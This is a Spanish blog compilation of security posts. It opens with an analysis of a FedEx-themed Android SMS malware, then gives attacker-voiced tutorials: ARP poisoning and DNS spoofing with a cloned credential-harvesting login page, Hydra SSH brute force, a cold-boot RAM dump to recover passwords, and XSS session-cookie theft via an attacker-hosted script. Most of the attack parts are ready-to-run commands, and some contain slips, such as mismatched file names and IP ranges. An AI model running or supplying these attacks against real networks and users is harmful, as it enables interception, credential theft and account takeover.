Esta semana se ha propagado un timo el cual utilizaba el nombre de una famosa empresa de transporte llamada ‘Fedex’.

El timo consiste en un envío de SMS a la victima que contiene un enlace hacia una aplicación para que el usuario la descargue para conocer el numero de seguimiento de un pedido que supuestamente no ha podido ser entregado.

El usuario, al pinchar el enlace y descargar la aplicación y conceder a esta permisos, consigue poner su teléfono a merced de este malware. El timo se divide en varias fases:

1 . Envio de SMS a la victima:

La victima recibie un sms con su nombre que contiene el enlace con la aplicación .apk maliciosa.

2. Infección y propagación.

Tras la instalación de la apk maliciosa en el teléfono de la victima. Lee todos los contactos del teléfono de la victima, nombre y teléfono de contacto y para cada uno de estos registros envia un SMS a ese mismo teléfono con el mensaje:

Hola XXXXX, siendo XXXX el nombre del contacto almacenado en la memoria del telefono.

Tras esta última fase, la historia se repite hasta llegar al mayor numero de personas posibles.

Tras un pequeño estudio de la aplicación maliciosa podemos observar:

– Cada envio de sms redirige a la victima a un sitio comprometido donde se almacena la .apk para ser descargada.

– Los atacantes alojan el archivo .apk malicioso en sitios comprometidos. La mayoria páginas con wordpress instalados sin actualizar.

– Si se trata de un navegador web móvil muestra el contenido, si se trata de un navegador web un PC simplemente no muestra nada.

Metodología de Ataque

Al parecer, los propietarios que han diseñado este malware tienen una gran extensa lista de sitios web comprometidos. El 100% de los sitios que he podido comprobar son sitios que implementan WordPress desactualizados.

Los atacantes, aprovechan para crear un directorio dentro de esa página web donde alojan un fichero .php, que es el que muestra la siguiente imagen:

Ese fichero .php creará un contenido totalmente dinámico.

Dependiendo si es visitado por un dispositivo móvil y el idioma del visitante.

Si cargamos ese enlace con un PC no podremos ver contenido alguno. Este comportamiento es gracias a la comprobación de las cabeceras HTTP ‘User-Agent’ el cual es posible determinar que plataforma, navegador e idioma tiene el visitante y así generar un contenido a medida de la victima.

Una vez creada esa página fake, el siguiente paso será mostrar el enlace de la aplicación. La ruta de este enlace redirige a otro sitio web comprometido, en el cual se encuentra la aplicación .apk

Todo esto con el desconocimiento absoluto de los propietarios de cada sitio web hackeado.

Analizando el .apk de la aplicación maliciosa.

Para el analisis del archivo .apk lo primero que tenemos que hacer es “decompilar” dicho fichero. En mi caso he utilizado uno de los muchos servicios online para este proposito:

https://www.apkdecompilers.com/

Analisis de ficheros:

AndroidManifest.xml:

• <uses-permission android:name=»android.permission.INTERNET»/>
• <uses-permission android:name=»android.permission.READ_CONTACTS»/>
• <uses-permission android:name=»android.permission.WRITE_SMS»/>
• <uses-permission android:name=»android.permission.READ_SMS»/>
• <uses-permission android:name=»android.permission.SEND_SMS»/>
• <uses-permission android:name=»android.permission.RECEIVE_SMS»/>
• <uses-permission android:name=»android.permission.READ_PHONE_STATE»/>
• <uses-permission android:name=»android.permission.QUERY_ALL_PACKAGES»/>
• <uses-permission android:name=»android.permission.WAKE_LOCK»/>
• <uses-permission android:name=»android.permission.FOREGROUND_SERVICE»/>
• <uses-permission android:name=»android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS»/>
• <uses-permission android:name=»android.permission.CALL_PHONE»/>
• <uses-permission android:name=»android.permission.REQUEST_DELETE_PACKAGES»>

Este archivo es utilizado en las aplicaciónes de Android para declarar que permisos necesitará el software para funcionar. Será el usuario el que PERMITA o DENIEGE estos permisos.

Describo los permisos (por orden) que pedirá la aplicación para funcionar,:

• Permisos para utilizar internet.
• Lectura de contactos.
• Escritura y lectura de SMS
• Leer el estado general del terminal
• Lectura para propiedades de otros paquetes.
• Ejecución en 2 plano
• Evitar que el proceso sea matado por optimizaciones de bateria
• Realizar llamadas

Visto los permisos listados, esta aplicación seguirá corriendo en el terminal infectado aun estando bloqueado ya que se le permite el uso de ejecución en 2 plano.

A traves de lo que se conoce en programación android como ‘BroadcastReceiver’, la aplicación es notificada de casi todo lo que ocurre en nuestro terminal

Declara un Listener propio llamado ‘MyNotificationListener’:

• <service android:enabled=»true» android:name=»com.tencent.mobileqq.MyNotificationListener» android:permission=»android.permission.BIND_NOTIFICATION_LISTENER_SERVICE»>
• <intent-filter>
• <action android:name=»android.service.notification.NotificationListenerService»/>
• </intent-filter>
• </service>

Lectura de TODOS los SMS y MMS entrantes del terminal:

• <receiver android:name=»com.tencent.mobileqq.SmsReceiver» android:permission=»android.permission.BROADCAST_SMS»>
• <intent-filter>
• <action android:name=»android.provider.Telephony.SMS_DELIVER»/>
• </intent-filter>
• <receiver android:name=»com.tencent.mobileqq.MmsReceiver» android:permission=»android.permission.BROADCAST_WAP_PUSH»>
• <intent-filter>
• <action android:name=»android.provider.Telephony.WAP_PUSH_DELIVER»/>
• <data android:mimeType=»application/vnd.wap.mms-message»/>

Con el tag <receiver>, se declará un receiver el cual hará que android, avise a esta aplicación maliciosa cada vez que llegue un SMS nuevo.

En la carpeta /res / del archivo .apk descomprimido podemos encontrar los strings para varios idiomas, lo que nos dinca que la aplicación esta diseñada para muchos idiomas.

Si observamos el contenido de / sources / np / e intentamos visualizar los archivos .java presentes podremos ver que el código de estos archivos ha sido ofuscado para intentar ocultar su funcionamiento. Para más complicación, el decompilador que he utilizado al parecer ha tenido que renombrar gran parte del código ya que contenia caracteres no printables.

Este malware es doblemente peligroso, ya que, por un lado intenta robar dinero a la victima y por otro lado, GENERA a la victima un gasto extra en su factura por el envio de SMS utilizando el dispositivo. Con lo que puede llegar a aumentar considerablemente la factura de su linea móvil.

Espero que haya servido de ayuda, seguimos con las investigaciones de este malware..

El ataque DNS SPOOFING es un extra del envenenamiento ARP.

Primero, envenenamos la tabla ARP para hacer pasar el trafico por nuestro equipo atacante y a continuación levantamos un servidor dns propio para redirigir a nuestra victima a la máquina atacante.

Para realizar el DNS SPOOFING primero tenemos que realizar un envenenamiento de la tabla ARP (ARP SPOOFING) de los equipos haciendoles creer que nuestro equipo es el router de la red. (con el ip_forward activado) para que nuestra máquina haga forward de los paquetes.

En este caso nuestro escenario, seria este:

Equipo victima: 192.168.1.88
Router red:     192.168.1.1
Atacante:       192.168.1.50

1. ARP SPOOFING: Ejecutamos en la máquina atacante:

# arpspoof -i eth0 192.168.1.1
# echo 1 > /proc/sys/net/ipv4/ip_forward

Con el comando anterior, permanentemente lo que haremos es decirle a TODOS los dispositivos de la red que 192.168.1.1 somos nosotros (el atacante 192.168.1.50) por lo que todos los hosts de esta red enviarán el trafico hacia nuestro equipo y nosotros lo reenviaremos al router real (por eso el ip_forward activado).

2. DNSSPOOF:

Esta utilidad se puede encontrar en distribuciones como Kali Linux y lo que hará es solamente realizar la resolución de nombres que hayamos indicado. Es decir, todas las consultas las ignorará, solamente realizará el «engaño» en los hosts que hayamos indicado en ‘resol.txt’:

– Creamos el archivo resol.txt:
echo «192.168.1.50 login.panel.com» > resol.txt

– Ejecutamos dnspoof:
dnsspoof -i eth0 -f resolt.txt

Con dnsspoof ejecutandose y escuchando peticiones DNS, cuando alguien decida visitar login.panel.com lo que estará haciendo es resolver hacia nuestra maquina atacante. Con lo que si nosotros armamos una «copia» de la web que queramos podemos engañar a la victima para conseguir las credenciales que nos interesan.

Para realizar la copia del sitio y levantar un servidor web con el contenido «clon» podemos utilizar la utilidad ‘settoolkit’ que viene con Kali Linux:

Esta son las opciones que tendremos que usar dentro de settoolkit:

/usr/share/set/setoolkit
1 – Social Engineering Attacks
2 – Website Attack Vectors
3 – Credential Harvester Attack Method
2 – Site Cloner

IP Address for the POST back….: 192.168.1.50   <IP de nuestra maquina. Atacante>
Enter the url to clone: login.panel.com

Una vez que hayamos completado los pasos anteriores settoolkit quedará ejecutandose. La victima, al visitar ‘login.panel.com’ y introducir ahi sus credenciales, obtendriamos esto:

(‘Array\n’,)
(‘(\n’,)
(‘    [type] => account\n’,)
(‘    [username] => Juan\n’,)
(‘    [password] => 2250\n’,)
(‘    [Submit] => Log In\n’,)
(‘)\n’,)

Como podemos observar, el usuario ha introducido ‘Juan’ como usuario y ‘2250’ como password.

Eso es todo.

El envenenamiento de ARP consiste en modificar la tabla de Relación IP -> MAC de equipos en la red por alguna que nosotros queramos.
De este modo si tenemos:

– Cliente Legitimo  con IP (192.168.1.130)
– Servidor Web             (192.168.1.129)
– Atacante                 (192.168.1.128) MAC: 00:80:5a:60:ee:71

Lo que nos interesa en este punto es poder interceptar la comunicación entre: Cliente Legitimo -> Servidor Web. Para ell utilizaremos arpspoof para hacer creer al Servidor que la MAC del cliente será el ATACANTE y al CLIENTE, que la MAC del servidor será ATACANTE. Con esto, obtendriamos la comunicación en los 2 sentidos.

1. Activamos el ip_forwarding en la máquina del atacante para reenviar paquetes.

# echo 1 > /proc/sys/net/ipv4/ip_forwarding

2. Realizamos el envenenamiento de la tabla ARP con arpspoof:

# arpspoof -i eth0 -t 172.16.1.130 172.16.1.129       Comunicación: Cliente legitimo -> Servidor Web
# arpspoof -i eth0 -t 172.16.1.129 172.16.1.130       Comunicación: Servidor web -> Cliente legitimo

De esta forma, hemos realizado el envenamientamiento ARP para las 2 vías de comunicación.

Si comprbamos ahora la tabla arp tanto en el CLIENTE LEGITIMO como en el SERVIDOR con arp -a, veremos que la MAC que ahora aparece es la del atacante: 00:80:5a:60:ee:71

3. Se podria realizar este mismo ataque pero con la IP de la puerta de enlace (router). De esta forma podriamos capturar todo el tráfico que pasa por él. Con tcpdump, wireshark o cualquier sniffer de red.

crunch minimo maximo caracteres

-l LOGIN / -L FILE: Establecer el nombre del usuario que se va a utilizar o una 
lista de nombres a probar. 

-p PASS / -P FILE: Contraseña a usar o lista de las mismas (diccionario) que se 
van a probar. 

-f/-F: Terminar la ejecución de programa cuando se encuentre un par usuario/
contraseña válido. 

-s PORT: Especificar el Puerto si éste es distinto al Puerto por defecto. 

-v / -V / -d: Activar el modo debug (depuración) para obtener más información 
sobre la ejecución de la herramienta.  

nmap –Pn 127.0.0.1

crunch 3 3 0123456789 > pass.txt

hydra 127.0.0.1 ssh -s 22 -l root -P pass.txt -f -vV 

Podemos utilizar tambien un diccionario con nombres de usuario (si no lo conocemos). Utilizamos el parametro -L con hydra para indicarle que utilice ese fichero para la prueba de user/pass.

hydra 127.0.0.1 ssh -s 22 -L users -P worstpasswords.txt -f -vV 

En el siguiente texto vengo a romper una de las «normas» que desde siempre se han tomado como correctas en el término de la informática.

¿Que se SUPONE que es la memoria RAM?

Cuando hablamos de memoria RAM, desde la informática básica se dice de ella que es una memoria volátil, que al apagar el equipo toda la información almacenada en ella es borrada completamente. Esto no es 100% cierto, porque realmente, se ha desmotrado con estudios recientes que, los datos en la memoria RAM permanecen cierto tiempo antes de que sean borrados de dicha memoria. Alredededor de unos 10 minutos quedan los datos en la memoria RAM.

¿Que ocurre si conseguimos leer estos datos?

Esto seria un gran problema para nosotros (si somos la victima en este caso) ya qué, la memoria RAM no va encriptada y por esta pasan TODOS los datos que nosotros introducimos contraseñas y demás.

Ya pero…. ¿Si la información solo se mantiene unos 10 minutos en dicha memoria? En este tiempo no podemos hacer nada.

Bien, en este punto vamos a basarnos de nuevo en las investigaciones y pruebas que se han realizado. Dichos estudios afirman que si enfriamos la memoria RAM en cuestión a unos -50º, podemos conseguir alargar la vida de estos datos en dicha memoria.

¿Como conseguimos esto?

Utilizando sprays de aire durante varios segundos o minutos pueden ayudarnos a conseguir nuestro objetivo (Dejando la memoria alrededor de (-50º). Podemos alargar la vida de estos datos con este método unos 30 minutos apróximadamente (suficiente para hacer el volcado de una memoria de 2/4GB. En dichos estudios se ha llegado a alargar la vida de los datos más de una hora, con nitrógeno liquido, alcanzado la memoria una temperatura de (-196º).

Sprays de aire: utilizados para eliminar por ejemplo, el polvo del interior de los ordenadores.

¿Como volcamos el contenido de la RAM al disco?

Con Linux como no. Como todo en linux es un fichero, la memoria RAM en este caso es /dev/mem y utilizando dd podemos volcar los datos de esta a nuestro disco duro:

dd if=/dev/mem of=/root/memory.dd

Empezara la lectura sector por sector de la memoria y se irá haciendo la copia a nuestro disco duro en el directorio /root/ con nombre memory.dd.

(Para conseguir mayor información y evitar la sobreescritura de la memoria RAM, podriamos utilizar los siguientes metodos:

– Arrancar un sistema gnu/linux desde PXE (mediante RED), y arrancar dd desde este.

– Iniciar un pequeño entorno gnu/linux desde una memoria usb. (Sin utilizar RAMDISK).

Atención: Para esto no podriamos arrancar desde un live cd, ya que este, para no escribir en nuestro disco duro, lo que hace es escribir en la memoria RAM y esto haría que perdieramos los datos que tanto nos interesan.

Trabajando con los datos ya volcados en el disco.

Una vez hemos conseguido volcar los datos con cualquiera de los metodos anteriormente citados, vamos a proceder a leer los datos..

Leyendo datos..

En Linux podemos transformar a strings datos binarios con el comando ‘strings’, se utilizaria de la siguiente forma:

strings /root/memory.dd

Un extracto de lo que seria la visualizacion de estos datos con strings:

Con la ayuda de ‘strings’, pipes (|) y grep podemos buscar contenido más especifico.

Tambien podemos optar por visualizar este contenido con hexdump para la visualización de contenido hexádecimal:

Un ejemplo generico de la representación de hexdump:

Con este proceso, podemos obtener información muy ámplia, passwords y demás información confidencial que se nos representara con texto plano (strings) o en código hexádecimal (hexdump).

Una tarea muy valiosa si estamos atacando un pc de forma fisica y no podemos por ninguno de los medios acceder al sistema operativo.

Si tienen cualquier duda al respecto no duden en comentar.

Saludos.

Att.ZaPa

Hola.

Voy a publicar este documento para que puedan comprender los 2 articulos posteriores.

– XSS en la página web de la universidad de Murcia (um.es)
– XSS en la página web de la universidad de elche (uhm.es)

Este árticulo va dirigido a la gente que…..

No conoce XSS.
Conoce XSS y creen que no sirve para nada.

A esas 2 tipos de personas les digo….Sigan leyendo…

¿Que es XSS?

El término XSS viene heredado de CSS, a este, se le cambió la C por una X para referirse a este tipo de ataques, inyección de código.

Tipos de ataque XSS.

– Persistente
– Reflejado.

Persistente, como bien da entender el término es la inyección que queda en un sitio, como puede ser, una inyección a traves de un libro de visitas de una página web. Esa inyección quedará hay para cualquier usuario que entre a ese libro de visitas. [[ Petición POST. ]]

Reflejado: Este ataque solo quedará reflejado en la URL, no quedaran grabados los cambios en la página web… [[ Petición GET]]



Se preguntaran…¿El reflejado entonces para que sirve, si no queda grabado? Mayoritariamente se utiliza para utilizar sesiones (cookies)..Sigan leyendo..

¿Que tipos de inyección podemos conseguir?

– Inyección de código HTML
– Inyección de código Javascript / Ajax ( el más peligroso )

¿Que permite la inyeccion de código javascript?

1 – Mostrar en ese momento lo que se quiera a cualquier visitante que visite nuestro recurso.

– Atacar a otras páginas web desde la web vulnerable a XSS.

– Infección de máquinas clientes al entrar a dicho en lace.

– Robo de sesiones. (Para mí el más importante).

– Y un largo etc que no termina mientras tengamos suficiente imaginación.

¿ Que es una sesión ?

Una sesión es un fichero que se almacena en la carpeta /tmp/ del servidor con nombre aleatorio que asigna el servidor a una sesión establecida.
Por ejemplo: Si entramos a www.ejemplo.com/admin.php y nos logeamos como administrador, esta, al utilizar cookies, para que no tener que introducir una y otra vez los datos cada vez accedemos hay, recuerda estos datos introducidos. Nos crea una sesión con nombre

¿Como recuerda estos datos?

Con las sesiones. Una vez introducidos los datos correctamente y logeados como administrador, el servidor establece una combinación de numeros y letras aleatorias, la cual, hace referencia a esa sesión. Si, a la sesión de administrador. (imaginemos que es 123456789aabcc)

¿Que significa esto?

Que si conseguimos obtener ese numero de sesión (123456789aabcc), tendremos acceso al panel de administración, sin introducir ni usuario ni password…

Esto no seria por tiempo ilimitado, tiene un tiempo limite y depende de cuanto tiempo se haya establecido como limite.
Normalmente son 3600s.

¿Como obtenemos el numero de sesión?

Con la ayuda de javascript. Sabemos o deberiamos saber que cada sitio solo puede acceder a los valores de cookie de ese sitio, es decir, www.sitio1.com, no puede mostrar los valores de la cookie de www.sitio2.com.

Entonces, si encontramos la forma de inyectar código javascript en www.sitio1.com podremos obtener la sesión sin problemas.

Esto se logra pasando el valor de document.cookie (cookie actual) por GET a un script php nuestro que tengamos alojado en otro servidor.
Este script, al leer el valor por GET de la cookie, la podrá almacenar en un fichero de texto, base de datos o donde se prefiera.
También es preferible mandar el contenido de la cookie por email o incluso algún aviso por sms si cabe la posibilidad, ya que, como he comentado arriba, la sesión tiene un tiempo limite. Estará activa mientras no haya alcanzando el limite de segundos o el usuario no haya pulsado expresamente el boton salir del interior de la aplicación web. (Por ejemplo de un panel de administración).

(Si cierra el navegador tal cual, sin pulsar en SALIR, no se eliminará la sesión, con lo que, quedará activa hasta X segundos).

Espero haberme explicado correctamente.
Nos vemos en los siguientes árticulos.
Saludos.

ZaPa.